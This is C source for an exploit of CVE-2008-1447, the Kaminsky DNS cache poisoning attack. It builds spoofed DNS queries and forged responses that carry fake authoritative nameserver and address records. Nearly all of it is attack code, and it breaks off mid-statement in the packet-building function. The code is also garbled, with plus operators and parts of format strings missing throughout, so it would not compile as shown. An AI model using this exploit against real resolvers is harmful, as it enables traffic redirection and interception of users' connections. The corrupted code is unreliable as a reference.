BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (c)

/*
* Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack
*
* Compilation:
* $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm
*
* Dependency: libdnet (aka libdumbnet-dev under Ubuntu)
*
* Author: marc.bevand at rapid7 dot com
*/

#define _BSD_SOURCE

#include <sys/types.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <time.h>
#include <unistd.h>
#include <dumbnet.h>

#define DNSF_RESPONSE (1<<15)
#define DNSF_AUTHORITATIVE (1<<10)
#define DNSF_REC_DESIRED (1<<8)
#define DNSF_REC_AVAILABLE (1<<7)

#define TYPE_A 0x1
#define TYPE_NS 0x2
#define CLASS_IN 0x1

struct dns_pkt
{
uint16_t txid;
uint16_t flags;
uint16_t nr_quest;
uint16_t nr_ans;
uint16_t nr_auth;
uint16_t nr_add;
} __attribute__ ((__packed__));

void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)
{
unsigned bufi, i, j;
bufi = i = j = 0;
while (name[i])
{
if (name[i] == '.')
{
if (bufi 1 (i - j) > size)
fprintf(stderr, "format_domain overflow\n"), exit(1);
buf[bufi ] = i - j;
memcpy(buf bufi, name j, i - j);
bufi = i - j;
j = i 1;
}
i ;
}
if (bufi 1 2 2 > size)
fprintf(stderr, "format_domain overflow\n"), exit(1);
buf[bufi ] = 0;
*len = bufi;
}

void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class)
{
uint16_t tmp;
// name
format_domain(buf, size, len, name);
// type
tmp = htons(type);
memcpy(buf *len, &tmp, sizeof (tmp));
*len = sizeof (tmp);
// class
tmp = htons(class);
memcpy(buf *len, &tmp, sizeof (tmp));
*len = sizeof (tmp);
}

void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class, uint32_t ttl, const char *data)
{
format_qr(buf, size, len, name, type, class);
// ttl
ttl = htonl(ttl);
memcpy(buf *len, &ttl, sizeof (ttl));
*len = sizeof (ttl);
// data length data
uint16_t dlen;
struct addr addr;
switch (type)
{
case TYPE_A:
dlen = sizeof (addr.addr_ip);
break;
case TYPE_NS:
dlen = strlen(data) 1;
break;
default:
fprintf(stderr, "format_rr: unknown type x", type);
exit(1);
}
dlen = htons(dlen);
memcpy(buf *len, &dlen, sizeof (dlen));
*len = sizeof (dlen);
// data
unsigned len2;
switch (type)
{
case TYPE_A:
if (addr_aton(data, &addr) < 0)
fprintf(stderr, "invalid destination IP: %s", data), exit(1);
memcpy(buf *len, &addr.addr_ip, sizeof (addr.addr_ip));
*len = sizeof (addr.addr_ip);
break;
case TYPE_NS:
format_domain(buf *len, size - *len, &len2, data);
*len = len2;
break;
default:
fprintf(stderr, "format_rr: unknown type x", type);
exit(1);
}
}

void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *name)
{
u_char *out = buf;
struct dns_pkt p = {
.txid = htons(txid),
.flags = htons(flags),
.nr_quest = htons(1),
.nr_ans = htons(0),
.nr_auth = htons(0),
.nr_add = htons(0),
};
u_char qr[256];
unsigned l;
format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN);
if (sizeof (p) l > size)
fprintf(stderr, "dns_query overflow"), exit(1);
memcpy(out, &p, sizeof (p));
out = sizeof (p);
memcpy(out, qr, l);
out = l;
*len = sizeof (p) l;
}

void dns_response(u_char *buf, unsigned size, unsigned *len,
uint16_t txid, uint16_t flags,
const char *q_name, const char *q_ip,
const char *domain, const char *auth_name, const char *auth_ip)
{
u_char *out = buf;
u_char *end = buf size;
u_char rec[256];
unsigned l_rec;
uint32_t ttl = 24*3600;
struct dns_pkt p = {
.txid = htons(txid),
.flags = htons(flags),
.nr_quest = htons(1),
.nr_ans = htons(1),
.nr_auth = htons(1),
.nr_add = htons(1),
};
(void)domain;
*len = 0;
if (out *len sizeof (p) > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out *len, &p, sizeof (p)); *len = sizeof (p);
// queries
format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN);
if (out *len l_rec > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out *len, rec, l_rec); *len = l_rec;
// answers
format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN,
ttl, q_ip);
if (out *len l_rec > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out *len, rec, l_rec); *len = l_rec;
// authoritative nameservers
format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN,
ttl, auth_name);
if (out *len l_rec > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out *len, rec, l_rec); *len = l_rec;
// additional records
format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN,
ttl, auth_ip);
if (out *len l_rec > end)
fprintf(stderr, "dns_response overflow"), exit(1);
memcpy(out *len, rec, l_rec); *len = l_rec;
}

unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)
{
unsigned len = 0;
// ip
struct ip_hdr *ip = (struct ip_hdr *)buf;
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_tos = 0;
ip->ip_id = rand() & 0xffff;
ip->ip_off = 0;
ip->ip_ttl = IP_TTL_MAX;
ip->ip_p = 17; // udp
ip->ip_sum = 0;
struct addr addr;
if (addr_aton(srcip, &addr) < 0)
fprintf(stderr, "invalid source IP: %s", srcip), exit(1);
ip->ip_src = addr.addr_ip;
if (addr_aton(dstip, &addr) < 0)
fprintf(stderr, "invalid destination IP: %s", dstip), exit